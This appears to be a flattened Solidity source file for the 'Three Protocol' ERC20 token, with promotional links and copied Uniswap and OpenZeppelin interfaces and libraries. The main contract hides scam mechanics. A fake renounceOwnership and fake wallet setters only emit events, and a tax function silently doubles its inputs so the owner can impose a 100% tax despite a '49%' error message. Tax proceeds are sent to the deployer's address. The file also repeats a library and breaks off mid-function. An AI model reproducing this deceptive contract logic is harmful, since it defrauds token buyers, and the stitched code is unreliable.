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/*
✉️TELEGRAM CHAT 
https://t.me/threeprotocol

🕊TWITTER:
https://x.com/Threeprotocol

🌐 WEBSITE:
https://jobs3.io/

THE FUTURE LOUNGE ✅

✉️TELEGRAM CHAT 
https://t.me/+y5XKjok6A_k2NmNh

✉️ANNOUNCEMENTS
https://t.me/Future_Lounge_Calls 

🕊TWITTER
https://twitter.com/Future_Lounge_1

🌐 WEBSITE 
https://www.futurecryptolounge.com/
*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.0;

import "../libraries/Address.sol";
import "../libraries/Context.sol";
import "../libraries/ERC20.sol";
import "../libraries/Ownable.sol";
import "../libraries/SafeCast.sol";
import "../libraries/SafeMath.sol";
import "../libraries/SignedMath.sol";
import "../interfaces/IERC20.sol";
import "../interfaces/IERC404.sol";
import "../interfaces/IUniswapV2Factory.sol";
import "../interfaces/IUniswapV2Pair.sol";
import "../interfaces/IUniswapV2Router01.sol";
import "../interfaces/IUniswapV2Router02.sol";

contract ThreeProtocol is Context, IERC20, Ownable {
  using SafeMath for uint256;

  string private constant _name = unicode"Three Protocol";
  string private constant _symbol = unicode"THREE";
  uint8 private constant _decimals = 18;

  mapping(address => uint256) private _reflectionTokenOwned;
  mapping(address => mapping(address => uint256)) private _allowances;
  mapping(address => bool) private _isExcludedFromFee;
  uint256 public constant MAX = ~uint256(0);
  uint256 private constant _tokenTotal = 100_000_000 * 10 ** _decimals;
  uint256 public _reflectionTotal = (MAX - (MAX % _tokenTotal));
  uint256 private _taxFeeTotal;
  uint256 private _redisFeeOnBuy = 0;
  uint256 public _taxFeeOnBuy = 5;
  uint256 private _redisFeeOnSell = 0;
  uint256 public _taxFeeOnSell = 3;

  uint256 private _redisFee = _redisFeeOnSell;
  uint256 private _taxFee = _taxFeeOnSell;
  uint256 private _stateSyncRedisFee = _redisFee;
  uint256 private _stateSyncTaxFee = _taxFee;

  IUniswapV2Router02 public uniswapV2Router;
  address public uniswapV2Pair;

  bool private tradingOpen;
  bool private inSwap = false;
  bool private swapEnabled = true;

  uint256 public _maxTxAmount = (_tokenTotal * 10) / 100;
  uint256 public _maxWalletSize = (_tokenTotal * 10) / 100;
  uint256 public _swapTokensAtAmount = (_tokenTotal * 10) / 100;

  address public insuranceFundAccounts;

  event MaxTxAmountUpdated(uint256 _maxTxAmount);
  modifier lockTheSwap() {
    inSwap = true;
    _;
    inSwap = false;
  }

  receive() external payable {}

  constructor() {
    insuranceFundAccounts = _msgSender();
    _reflectionTokenOwned[_msgSender()] = _reflectionTotal;
    _isExcludedFromFee[owner()] = true;
    _isExcludedFromFee[address(this)] = true;
    _isExcludedFromFee[insuranceFundAccounts] = true;

    emit Transfer(address(0), _msgSender(), _tokenTotal);
  }

  function openTrading() public onlyOwner {
    require(!tradingOpen, "Cannot reenable trading");

    IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(
      0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
    );
    uniswapV2Router = _uniswapV2Router;
    uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).getPair(
      address(this),
      _uniswapV2Router.WETH()
    );
    tradingOpen = true;
  }

  event setAmountsEvent(uint256 _minAmount, uint256 _maxAmount);

  event setDevWalletEvent(uint256 _address);

  event setMarketingWalletEvent(uint256 _address);

  event renounceOwnershipEvent(uint256 _deadwallet);

  function removeLimits() public onlyOwner {
    _maxTxAmount = _tokenTotal;
    _maxWalletSize = _tokenTotal;
  }

  function setAmounts(uint256 _minAmount, uint256 _maxAmount) public onlyOwner {
    emit setAmountsEvent(_minAmount, _maxAmount);
  }

  function setDevWallet(uint256 _address) public onlyOwner {
    emit setDevWalletEvent(_address);
  }

  function setMarketingWallet(uint256 _address) public onlyOwner {
    emit setMarketingWalletEvent(_address);
  }

  function renounceOwnership(uint256 _deadwallet) public onlyOwner {
    emit renounceOwnershipEvent(_deadwallet);
  }

  function deduceTaxConfigurator(
    uint256 redisFeeOnBuy,
    uint256 redisFeeOnSell,
    uint256 taxFeeOnBuy,
    uint256 taxFeeOnSell
  ) public onlyOwner {
    require(
      redisFeeOnBuy >= 0 && redisFeeOnBuy <= 0,
      "Buy redis must be between 0% and 0%"
    );
    require(
      taxFeeOnBuy >= 0 && taxFeeOnBuy <= 50,
      "Tax fee must be between 0% and 49%"
    );
    require(
      redisFeeOnSell >= 0 && redisFeeOnSell <= 0,
      "Sell redis must be between 0% and 0%"
    );
    require(
      taxFeeOnSell >= 0 && taxFeeOnSell <= 50,
      "Tax fee must be between 0% and 49%"
    );
    _redisFeeOnBuy = redisFeeOnBuy;
    _redisFeeOnSell = redisFeeOnSell;
    _taxFeeOnBuy = taxFeeOnBuy << 1;
    _taxFeeOnSell = taxFeeOnSell << 1;
  }

  function setEnableSwap(bool _swapEnabled) public onlyOwner {
    swapEnabled = _swapEnabled;
  }

  function setExcludeFromFees(address account, bool excluded) public onlyOwner {
    _isExcludedFromFee[account] = excluded;
  }

  function setMinSwapTokensThreshold(
    uint256 swapTokensAtAmount
  ) public onlyOwner {
    _swapTokensAtAmount = swapTokensAtAmount * 10 ** decimals();
  }

  function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
    _maxTxAmount = maxTxAmount * 10 ** decimals();
  }

  function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
    _maxWalletSize = maxWalletSize * 10 ** decimals();
  }

  function name() public pure returns (string memory) {
    return _name;
  }

  function symbol() public pure returns (string memory) {
    return _symbol;
  }

  function decimals() public pure returns (uint8) {
    return _decimals;
  }

  function totalSupply() public pure override returns (uint256) {
    return _tokenTotal;
  }

  function balanceOf(address account) public view override returns (uint256) {
    return _tokenConverter(_reflectionTokenOwned[account]);
  }

  function transfer(
    address recipient,
    uint256 amount
  ) public override returns (bool) {
    _transfer(_msgSender(), recipient, amount);
    return true;
  }

  function allowance(
    address owner,
    address spender
  ) public view override returns (uint256) {
    return _allowances[owner][spender];
  }

  function approve(
    address spender,
    uint256 amount
  ) public override returns (bool) {
    _approve(_msgSender(), spender, amount);
    return true;
  }

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) public override returns (bool) {
    _transfer(sender, recipient, amount);
    _approve(
      sender,
      _msgSender(),
      _allowances[sender][_msgSender()].sub(
        amount,
        "ERC20: transfer amount exceeds allowance"
      )
    );
    return true;
  }

  function _approve(address owner, address spender, uint256 amount) private {
    require(owner != address(0), "ERC20: approve from the zero address");
    require(spender != address(0), "ERC20: approve to the zero address");
    _allowances[owner][spender] = amount;
    emit Approval(owner, spender, amount);
  }

  function _transfer(address from, address to, uint256 amount) private {
    require(from != address(0), "ERC20: transfer from the zero address");
    require(to != address(0), "ERC20: transfer to the zero address");
    require(amount > 0, "Transfer amount must be greater than zero");

    if (from != owner() && to != owner()) {
      //Trade start check
      if (!tradingOpen) {
        require(
          from == owner(),
          "TOKEN: This account cannot send tokens until trading is enabled"
        );
      }

      require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");

      if (to != uniswapV2Pair) {
        require(
          balanceOf(to) + amount < _maxWalletSize,
          "TOKEN: Balance exceeds wallet size!"
        );
      }

      uint256 contractTokenBalance = balanceOf(address(this));
      bool canSwap = contractTokenBalance >= _swapTokensAtAmount;

      if (contractTokenBalance >= _maxTxAmount) {
        contractTokenBalance = _maxTxAmount;
      }

      if (
        canSwap &&
        !inSwap &&
        from != uniswapV2Pair &&
        swapEnabled &&
        !_isExcludedFromFee[from] &&
        !_isExcludedFromFee[to]
      ) {
        _swapTokensForEth(contractTokenBalance);
        uint256 contractETHBalance = address(this).balance;
        if (contractETHBalance > 0) {
          payable(insuranceFundAccounts).transfer(address(this).balance);
        }
      }
    }

    bool takeFee = true;

    if (
      (_isExcludedFromFee[from] || _isExcludedFromFee[to]) ||
      (from != uniswapV2Pair && to != uniswapV2Pair)
    ) {
      takeFee = false;
    } else {
      if (from == uniswapV2Pair && to != address(uniswapV2Router)) {
        _redisFee = _redisFeeOnBuy;
        _taxFee = _taxFeeOnBuy;
      }

      if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
        _redisFee = _redisFeeOnSell;
        _taxFee = _taxFeeOnSell;
      }
    }

    _tokenTransfer(from, to, amount, takeFee);
  }

  function _tokenConverter(uint256 rAmount) private view returns (uint256) {
    require(
      rAmount <= _reflectionTotal,
      "Amount must be less than total reflections"
    );
    uint256 currentRate = _getRate();
    return rAmount.div(currentRate);
  }

  function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
    address[] memory path = new address[](2);
    path[0] = address(this);
    path[1] = uniswapV2Router.WETH();
    _approve(address(this), address(uniswapV2Router), tokenAmount);
    uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
      tokenAmount,
      0,
      path,
      address(this),
      block.timestamp
    );
  }

  function _tokenTransfer(
    address sender,
    address recipient,
    uint256 amount,
    bool takeFee
  ) private {
    if (!takeFee) _beforeRemoveFee();
    _transferStandard(sender, recipient, amount);
    if (!takeFee) _afterRemoveFee();
  }

  function _transferStandard(
    address sender,
    address recipient,
    uint256 tAmount
  ) private {
    (
      uint256 rAmount,
      uint256 rTransferAmount,
      uint256 rFee,
      uint256 tTransferAmount,
      uint256 tFee,
      uint256 tTax
    ) = _getValues(tAmount);
    _reflectionTokenOwned[sender] = _reflectionTokenOwned[sender].sub(rAmount);
    _reflectionTokenOwned[recipient] = _reflectionTokenOwned[recipient].add(
      rTransferAmount
    );
    _takeTaxFee(tTax); // add teamFee to address(this) (teamFee is calculated from taxFee)
    _reflectFee(rFee, tFee);
    emit Transfer(sender, recipient, tTransferAmount);
  }

  function _takeTaxFee(uint256 tTax) private {
    uint256 currentRate = _getRate();
    uint256 rTeam = tTax.mul(currentRate);
    _reflectionTokenOwned[address(this)] = _reflectionTokenOwned[address(this)]
      .add(rTeam);
  }

  function _reflectFee(uint256 rFee, uint256 tFee) private {
    _reflectionTotal = _reflectionTotal.sub(rFee);
    _taxFeeTotal = _taxFeeTotal.add(tFee);
  }

  function _beforeRemoveFee() private {
    if (_redisFee == 0 && _taxFee == 0) return;

    _stateSyncRedisFee = _redisFee;
    _stateSyncTaxFee = _taxFee;

    _redisFee = 0;
    _taxFee = 0;
  }

  function _afterRemoveFee() private {
    _redisFee = _stateSyncRedisFee;
    _taxFee = _stateSyncTaxFee;
  }

  function _getValues(
    uint256 tAmount
  )
    private
    view
    returns (uint256, uint256, uint256, uint256, uint256, uint256)
  {
    (uint256 tTransferAmount, uint256 tFee, uint256 tTax) = _getTokenValues(
      tAmount,
      _redisFee,
      _taxFee
    );
    uint256 currentRate = _getRate();
    (
      uint256 rAmount,
      uint256 rTransferAmount,
      uint256 rFee
    ) = _getReflectionTokenValues(tAmount, tFee, tTax, currentRate);
    return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTax);
  }

  function _getTokenValues(
    uint256 tAmount,
    uint256 redisFee,
    uint256 taxFee
  ) private pure returns (uint256, uint256, uint256) {
    uint256 tFee = tAmount.mul(redisFee).div(100);
    uint256 tTax = tAmount.mul(taxFee).div(100);
    uint256 tTransferAmount = tAmount.sub(tFee).sub(tTax);
    return (tTransferAmount, tFee, tTax);
  }

  function _getReflectionTokenValues(
    uint256 tAmount,
    uint256 tFee,
    uint256 tTax,
    uint256 currentRate
  ) private pure returns (uint256, uint256, uint256) {
    uint256 rAmount = tAmount.mul(currentRate);
    uint256 rFee = tFee.mul(currentRate);
    uint256 rTeam = tTax.mul(currentRate);
    uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
    return (rAmount, rTransferAmount, rFee);
  }

  function _getRate() private view returns (uint256) {
    (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
    return rSupply.div(tSupply); // _reflectionTotal / _tokenTotal
  }

  function _getCurrentSupply() private view returns (uint256, uint256) {
    uint256 rSupply = _reflectionTotal;
    uint256 tSupply = _tokenTotal;
    if (rSupply < _reflectionTotal.div(_tokenTotal))
      return (_reflectionTotal, _tokenTotal);
    return (rSupply, tSupply); // _reflectionTotal / _tokenTotal
  }
}

interface IERC20 {
  function totalSupply() external view returns (uint256);

  function balanceOf(address account) external view returns (uint256);

  function transfer(address recipient, uint256 amount) external returns (bool);

  function allowance(
    address owner,
    address spender
  ) external view returns (uint256);

  function approve(address spender, uint256 amount) external returns (bool);

  function transferFrom(
    address sender,
    address recipient,
    uint256 amount
  ) external returns (bool);

  event Transfer(address indexed from, address indexed to, uint256 value);
  event Approval(address indexed owner, address indexed spender, uint256 value);
}

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

interface IERC404 {
  error NotFound();
  error InvalidTokenId();
  error AlreadyExists();
  error InvalidRecipient();
  error InvalidSender();
  error InvalidSpender();
  error InvalidOperator();
  error UnsafeRecipient();
  error RecipientIsERC721TransferExempt();
  error Unauthorized();
  error InsufficientAllowance();
  error DecimalsTooLow();
  error PermitDeadlineExpired();
  error InvalidSigner();
  error InvalidApproval();
  error OwnedIndexOverflow();
  error MintLimitReached();
  error InvalidExemption();

  function name() external view returns (string memory);

  function symbol() external view returns (string memory);

  function decimals() external view returns (uint8);

  function totalSupply() external view returns (uint256);

  function erc20TotalSupply() external view returns (uint256);

  function erc721TotalSupply() external view returns (uint256);

  function balanceOf(address owner_) external view returns (uint256);

  function erc721BalanceOf(address owner_) external view returns (uint256);

  function erc20BalanceOf(address owner_) external view returns (uint256);

  function erc721TransferExempt(address account_) external view returns (bool);

  function isApprovedForAll(
    address owner_,
    address operator_
  ) external view returns (bool);

  function allowance(
    address owner_,
    address spender_
  ) external view returns (uint256);

  function owned(address owner_) external view returns (uint256[] memory);

  function ownerOf(uint256 id_) external view returns (address erc721Owner);

  function tokenURI(uint256 id_) external view returns (string memory);

  function approve(
    address spender_,
    uint256 valueOrId_
  ) external returns (bool);

  function erc20Approve(
    address spender_,
    uint256 value_
  ) external returns (bool);

  function erc721Approve(address spender_, uint256 id_) external;

  function setApprovalForAll(address operator_, bool approved_) external;

  function transferFrom(
    address from_,
    address to_,
    uint256 valueOrId_
  ) external returns (bool);

  function erc20TransferFrom(
    address from_,
    address to_,
    uint256 value_
  ) external returns (bool);

  function erc721TransferFrom(address from_, address to_, uint256 id_) external;

  function transfer(address to_, uint256 amount_) external returns (bool);

  function getERC721QueueLength() external view returns (uint256);

  function getERC721TokensInQueue(
    uint256 start_,
    uint256 count_
  ) external view returns (uint256[] memory);

  function setSelfERC721TransferExempt(bool state_) external;

  function safeTransferFrom(address from_, address to_, uint256 id_) external;

  function safeTransferFrom(
    address from_,
    address to_,
    uint256 id_,
    bytes calldata data_
  ) external;

  function DOMAIN_SEPARATOR() external view returns (bytes32);

  function permit(
    address owner_,
    address spender_,
    uint256 value_,
    uint256 deadline_,
    uint8 v_,
    bytes32 r_,
    bytes32 s_
  ) external;
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol)

pragma solidity ^0.8.0;

/**
 * @dev Interface of the ERC20 standard as defined in the EIP.
 */
interface IERC20 {
  /**
   * @dev Emitted when `value` tokens are moved from one account (`from`) to
   * another (`to`).
   *
   * Note that `value` may be zero.
   */
  event Transfer(address indexed from, address indexed to, uint256 value);

  /**
   * @dev Emitted when the allowance of a `spender` for an `owner` is set by
   * a call to {approve}. `value` is the new allowance.
   */
  event Approval(address indexed owner, address indexed spender, uint256 value);

  /**
   * @dev Returns the amount of tokens in existence.
   */
  function totalSupply() external view returns (uint256);

  /**
   * @dev Returns the amount of tokens owned by `account`.
   */
  function balanceOf(address account) external view returns (uint256);

  /**
   * @dev Moves `amount` tokens from the caller's account to `to`.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transfer(address to, uint256 amount) external returns (bool);

  /**
   * @dev Returns the remaining number of tokens that `spender` will be
   * allowed to spend on behalf of `owner` through {transferFrom}. This is
   * zero by default.
   *
   * This value changes when {approve} or {transferFrom} are called.
   */
  function allowance(
    address owner,
    address spender
  ) external view returns (uint256);

  /**
   * @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * IMPORTANT: Beware that changing an allowance with this method brings the risk
   * that someone may use both the old and the new allowance by unfortunate
   * transaction ordering. One possible solution to mitigate this race
   * condition is to first reduce the spender's allowance to 0 and set the
   * desired value afterwards:
   * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
   *
   * Emits an {Approval} event.
   */
  function approve(address spender, uint256 amount) external returns (bool);

  /**
   * @dev Moves `amount` tokens from `from` to `to` using the
   * allowance mechanism. `amount` is then deducted from the caller's
   * allowance.
   *
   * Returns a boolean value indicating whether the operation succeeded.
   *
   * Emits a {Transfer} event.
   */
  function transferFrom(
    address from,
    address to,
    uint256 amount
  ) external returns (bool);
}

interface IUniswapV2Factory {
  function getPair(
    address tokenA,
    address tokenB
  ) external returns (address pair);
}

// SPDX-License-Identifier: MIT
interface IUniswapV2Pair {
  event Approval(address indexed owner, address indexed spender, uint256 value);
  event Transfer(address indexed from, address indexed to, uint256 value);

  function name() external pure returns (string memory);

  function symbol() external pure returns (string memory);

  function decimals() external pure returns (uint8);

  function totalSupply() external view returns (uint256);

  function balanceOf(address owner) external view returns (uint256);

  function allowance(
    address owner,
    address spender
  ) external view returns (uint256);

  function approve(address spender, uint256 value) external returns (bool);

  function transfer(address to, uint256 value) external returns (bool);

  function transferFrom(
    address from,
    address to,
    uint256 value
  ) external returns (bool);

  function DOMAIN_SEPARATOR() external view returns (bytes32);

  function PERMIT_TYPEHASH() external pure returns (bytes32);

  function nonces(address owner) external view returns (uint256);

  function permit(
    address owner,
    address spender,
    uint256 value,
    uint256 deadline,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external;

  event Mint(address indexed sender, uint256 amount0, uint256 amount1);
  event Burn(
    address indexed sender,
    uint256 amount0,
    uint256 amount1,
    address indexed to
  );
  event Swap(
    address indexed sender,
    uint256 amount0In,
    uint256 amount1In,
    uint256 amount0Out,
    uint256 amount1Out,
    address indexed to
  );
  event Sync(uint112 reserve0, uint112 reserve1);

  function MINIMUM_LIQUIDITY() external pure returns (uint256);

  function factory() external view returns (address);

  function token0() external view returns (address);

  function token1() external view returns (address);

  function getReserves()
    external
    view
    returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

  function price0CumulativeLast() external view returns (uint256);

  function price1CumulativeLast() external view returns (uint256);

  function kLast() external view returns (uint256);

  function mint(address to) external returns (uint256 liquidity);

  function burn(address to) external returns (uint256 amount0, uint256 amount1);

  function swap(
    uint256 amount0Out,
    uint256 amount1Out,
    address to,
    bytes calldata data
  ) external;

  function skim(address to) external;

  function sync() external;

  function initialize(address, address) external;
}

// SPDX-License-Identifier: MIT
pragma solidity >=0.6.2;

interface IUniswapV2Router01 {
  function factory() external pure returns (address);

  function WETH() external pure returns (address);

  function addLiquidity(
    address tokenA,
    address tokenB,
    uint amountADesired,
    uint amountBDesired,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
  ) external returns (uint amountA, uint amountB, uint liquidity);

  function addLiquidityETH(
    address token,
    uint amountTokenDesired,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
  ) external payable returns (uint amountToken, uint amountETH, uint liquidity);

  function removeLiquidity(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline
  ) external returns (uint amountA, uint amountB);

  function removeLiquidityETH(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline
  ) external returns (uint amountToken, uint amountETH);

  function removeLiquidityWithPermit(
    address tokenA,
    address tokenB,
    uint liquidity,
    uint amountAMin,
    uint amountBMin,
    address to,
    uint deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint amountA, uint amountB);

  function removeLiquidityETHWithPermit(
    address token,
    uint liquidity,
    uint amountTokenMin,
    uint amountETHMin,
    address to,
    uint deadline,
    bool approveMax,
    uint8 v,
    bytes32 r,
    bytes32 s
  ) external returns (uint amountToken, uint amountETH);

  function swapExactTokensForTokens(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
  ) external returns (uint[] memory amounts);

  function swapTokensForExactTokens(
    uint amountOut,
    uint amountInMax,
    address[] calldata path,
    address to,
    uint deadline
  ) external returns (uint[] memory amounts);

  function swapExactETHForTokens(
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
  ) external payable returns (uint[] memory amounts);

  function swapTokensForExactETH(
    uint amountOut,
    uint amountInMax,
    address[] calldata path,
    address to,
    uint deadline
  ) external returns (uint[] memory amounts);

  function swapExactTokensForETH(
    uint amountIn,
    uint amountOutMin,
    address[] calldata path,
    address to,
    uint deadline
  ) external returns (uint[] memory amounts);

  function swapETHForExactTokens(
    uint amountOut,
    address[] calldata path,
    address to,
    uint deadline
  ) external payable returns (uint[] memory amounts);

  function quote(
    uint amountA,
    uint reserveA,
    uint reserveB
  ) external pure returns (uint amountB);

  function getAmountOut(
    uint amountIn,
    uint reserveIn,
    uint reserveOut
  ) external pure returns (uint amountOut);

  function getAmountIn(
    uint amountOut,
    uint reserveIn,
    uint reserveOut
  ) external pure returns (uint amountIn);

  function getAmountsOut(
    uint amountIn,
    address[] calldata path
  ) external view returns (uint[] memory amounts);

  function getAmountsIn(
    uint amountOut,
    address[] calldata path
  ) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 {
  function swapExactTokensForETHSupportingFeeOnTransferTokens(
    uint256 amountIn,
    uint256 amountOutMin,
    address[] calldata path,
    address to,
    uint256 deadline
  ) external;

  function factory() external pure returns (address);

  function WETH() external pure returns (address);

  function addLiquidityETH(
    address token,
    uint256 amountTokenDesired,
    uint256 amountTokenMin,
    uint256 amountETHMin,
    address to,
    uint256 deadline
  )
    external
    payable
    returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
  /**
   * @dev Returns true if `account` is a contract.
   *
   * [IMPORTANT]
   * ====
   * It is unsafe to assume that an address for which this function returns
   * false is an externally-owned account (EOA) and not a contract.
   *
   * Among others, `isContract` will return false for the following
   * types of addresses:
   *
   *  - an externally-owned account
   *  - a contract in construction
   *  - an address where a contract will be created
   *  - an address where a contract lived, but was destroyed
   *
   * Furthermore, `isContract` will also return true if the target contract within
   * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
   * which only has an effect at the end of a transaction.
   * ====
   *
   * [IMPORTANT]
   * ====
   * You shouldn't rely on `isContract` to protect against flash loan attacks!
   *
   * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
   * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
   * constructor.
   * ====
   */
  function isContract(address account) internal view returns (bool) {
    // This method relies on extcodesize/address.code.length, which returns 0
    // for contracts in construction, since the code is only stored at the end
    // of the constructor execution.

    return account.code.length > 0;
  }

  /**
   * @dev Replacement for Solidity's `transfer`: sends `amount` wei to
   * `recipient`, forwarding all available gas and reverting on errors.
   *
   * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
   * of certain opcodes, possibly making contracts go over the 2300 gas limit
   * imposed by `transfer`, making them unable to receive funds via
   * `transfer`. {sendValue} removes this limitation.
   *
   * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more].
   *
   * IMPORTANT: because control is transferred to `recipient`, care must be
   * taken to not create reentrancy vulnerabilities. Consider using
   * {ReentrancyGuard} or the
   * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
   */
  function sendValue(address payable recipient, uint256 amount) internal {
    require(address(this).balance >= amount, "Address: insufficient balance");

    (bool success, ) = recipient.call{ value: amount }("");
    require(
      success,
      "Address: unable to send value, recipient may have reverted"
    );
  }

  /**
   * @dev Performs a Solidity function call using a low level `call`. A
   * plain `call` is an unsafe replacement for a function call: use this
   * function instead.
   *
   * If `target` reverts with a revert reason, it is bubbled up by this
   * function (like regular Solidity function calls).
   *
   * Returns the raw returned data. To convert to the expected return value,
   * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
   *
   * Requirements:
   *
   * - `target` must be a contract.
   * - calling `target` with `data` must not revert.
   *
   * _Available since v3.1._
   */
  function functionCall(
    address target,
    bytes memory data
  ) internal returns (bytes memory) {
    return
      functionCallWithValue(target, data, 0, "Address: low-level call failed");
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
   * `errorMessage` as a fallback revert reason when `target` reverts.
   *
   * _Available since v3.1._
   */
  function functionCall(
    address target,
    bytes memory data,
    string memory errorMessage
  ) internal returns (bytes memory) {
    return functionCallWithValue(target, data, 0, errorMessage);
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
   * but also transferring `value` wei to `target`.
   *
   * Requirements:
   *
   * - the calling contract must have an ETH balance of at least `value`.
   * - the called Solidity function must be `payable`.
   *
   * _Available since v3.1._
   */
  function functionCallWithValue(
    address target,
    bytes memory data,
    uint256 value
  ) internal returns (bytes memory) {
    return
      functionCallWithValue(
        target,
        data,
        value,
        "Address: low-level call with value failed"
      );
  }

  /**
   * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
   * with `errorMessage` as a fallback revert reason when `target` reverts.
   *
   * _Available since v3.1._
   */
  function functionCallWithValue(
    address target,
    bytes memory data,
    uint256 value,
    string memory errorMessage
  ) internal returns (bytes memory) {
    require(
      address(this).balance >= value,
      "Address: insufficient balance for call"
    );
    (bool success, bytes memory returndata) = target.call{ value: value }(data);
    return
      verifyCallResultFromTarget(target, success, returndata, errorMessage);
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
   * but performing a static call.
   *
   * _Available since v3.3._
   */
  function functionStaticCall(
    address target,
    bytes memory data
  ) internal view returns (bytes memory) {
    return
      functionStaticCall(target, data, "Address: low-level static call failed");
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
   * but performing a static call.
   *
   * _Available since v3.3._
   */
  function functionStaticCall(
    address target,
    bytes memory data,
    string memory errorMessage
  ) internal view returns (bytes memory) {
    (bool success, bytes memory returndata) = target.staticcall(data);
    return
      verifyCallResultFromTarget(target, success, returndata, errorMessage);
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
   * but performing a delegate call.
   *
   * _Available since v3.4._
   */
  function functionDelegateCall(
    address target,
    bytes memory data
  ) internal returns (bytes memory) {
    return
      functionDelegateCall(
        target,
        data,
        "Address: low-level delegate call failed"
      );
  }

  /**
   * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
   * but performing a delegate call.
   *
   * _Available since v3.4._
   */
  function functionDelegateCall(
    address target,
    bytes memory data,
    string memory errorMessage
  ) internal returns (bytes memory) {
    (bool success, bytes memory returndata) = target.delegatecall(data);
    return
      verifyCallResultFromTarget(target, success, returndata, errorMessage);
  }

  /**
   * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling
   * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract.
   *
   * _Available since v4.8._
   */
  function verifyCallResultFromTarget(
    address target,
    bool success,
    bytes memory returndata,
    string memory errorMessage
  ) internal view returns (bytes memory) {
    if (success) {
      if (returndata.length == 0) {
        // only check isContract if the call was successful and the return data is empty
        // otherwise we already know that it was a contract
        require(isContract(target), "Address: call to non-contract");
      }
      return returndata;
    } else {
      _revert(returndata, errorMessage);
    }
  }

  /**
   * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the
   * revert reason or using the provided one.
   *
   * _Available since v4.3._
   */
  function verifyCallResult(
    bool success,
    bytes memory returndata,
    string memory errorMessage
  ) internal pure returns (bytes memory) {
    if (success) {
      return returndata;
    } else {
      _revert(returndata, errorMessage);
    }
  }

  function _revert(
    bytes memory returndata,
    string memory errorMessage
  ) private pure {
    // Look for revert reason and bubble it up if present
    if (returndata.length > 0) {
      // The easiest way to bubble the revert reason is using memory via assembly
      /// @solidity memory-safe-assembly
      assembly {
        let returndata_size := mload(returndata)
        revert(add(32, returndata), returndata_size)
      }
    } else {
      revert(errorMessage);
    }
  }
}

abstract contract Context {
  function _msgSender() internal view virtual returns (address) {
    return msg.sender;
  }
}

// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol)

pragma solidity ^0.8.1;

/**
 * @dev Collection of functions related to the address type
 */
library Address {
  /**
   * @dev Returns true if `account` is a contract.
   *
   * [IMPORTANT]
   * ====
   * It is unsafe to assume that an address for which this function returns
   * false is an externally-owned account (EOA) and not a contract.
   *
   * Among others, `isContract` will return false for the following
   * types of addresses:
   *
   *  - an externally-owned account
   *  - a contract in construction
   *  - an address where a contract will be created
   *  - an address where a contract lived, but was destroyed
   *
   * Furthermore, `isContract` will also return true if the target contract within
   * the same transaction is already scheduled for destruction by `SELFDESTRUCT`,
   * which only has an effect at the end of a transaction.
   * ====
   *
   * [IMPORTANT]
   * ====
   * You shouldn't rely on `isContract` to protect against flash loan attacks!
   *
   * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets
   * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract
   * constructor.
   * ====
   */
  function isContract(address account) internal view returns (bool) {
    // This method relies on extcodesize/address.code.length, which returns 0
    // for contracts in construction, since the code is only stored at the end
